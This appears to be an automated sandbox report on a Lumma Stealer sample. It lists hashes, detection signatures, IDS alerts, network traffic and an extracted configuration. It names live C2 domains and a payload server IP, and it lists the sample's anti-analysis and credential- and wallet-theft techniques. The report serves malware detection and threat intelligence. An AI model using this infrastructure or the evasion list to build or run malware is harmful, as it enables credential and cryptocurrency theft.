Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559587
MD5:	ff1c291b46fb3ada2bdb55ba4c14bcfe
SHA1:	875c6f3b14c117f3429771d5e8d82ee667c8fed6
SHA256:	75c752bb2e5ff68a9689fa43bc6a9e408834ebc40a50725e6ca31fc26553af0e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7476 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FF1C291B46FB3ADA2BDB55BA4C14BCFE)

chrome.exe (PID: 2120 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1924,i,16693149984039008949,18427732997764737227,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1928,i,15905540884992955177,16070851734019653976,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["p3ar11fter.sbs", "peepburry828.sbs", "processhol.sbs", "3xp3cts1aim.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1408564784.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1435311387.0000000000F66000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1438497350.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1409004952.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1361660637.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1408596086.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1384947171.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1384897360.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1435026656.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1435268441.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1362364363.0000000000F64000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1386013914.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7476	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7476	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 10 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T17:41:22.009186+0100	2028371	3	Unknown Traffic	192.168.2.7	49704	104.21.66.38	443	TCP
2024-11-20T17:41:24.119056+0100	2028371	3	Unknown Traffic	192.168.2.7	49706	104.21.66.38	443	TCP
2024-11-20T17:41:26.458844+0100	2028371	3	Unknown Traffic	192.168.2.7	49712	104.21.66.38	443	TCP
2024-11-20T17:41:28.704099+0100	2028371	3	Unknown Traffic	192.168.2.7	49718	104.21.66.38	443	TCP
2024-11-20T17:41:31.461865+0100	2028371	3	Unknown Traffic	192.168.2.7	49724	104.21.66.38	443	TCP
2024-11-20T17:41:34.126293+0100	2028371	3	Unknown Traffic	192.168.2.7	49730	104.21.66.38	443	TCP
2024-11-20T17:41:36.671229+0100	2028371	3	Unknown Traffic	192.168.2.7	49737	104.21.66.38	443	TCP
2024-11-20T17:41:42.030785+0100	2028371	3	Unknown Traffic	192.168.2.7	49757	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T17:41:22.702248+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49704	104.21.66.38	443	TCP
2024-11-20T17:41:24.840747+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49706	104.21.66.38	443	TCP
2024-11-20T17:41:42.640545+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49757	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T17:41:22.702248+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49704	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T17:41:24.840747+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49706	104.21.66.38	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T17:41:44.283348+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49758	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T17:41:34.893185+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49730	104.21.66.38	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.1607549423.0000000008020000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1682977951.0000000005F02000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49704 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49704 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49706 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49706 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49730 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49757 -> 104.21.66.38:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 16:41:44 GMTContent-Type: application/octet-streamContent-Length: 2840064Last-Modified: Wed, 20 Nov 2024 16:31:06 GMTConnection: keep-aliveETag: "673e0eca-2b5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 07 45 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 69 63 70 62 67 63 65 00 00 2b 00 00 a0 00 00 00 f6 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 78 61 73 76 73 77 7a 00 20 00 00 00 a0 2b 00 00 04 00 00 00 30 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 34 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49712 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49724 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49730 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49737 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49757 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49718 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49706 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49704 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49758 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1ChdEyHYRNkdE3F&MD=2f2hpuyv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
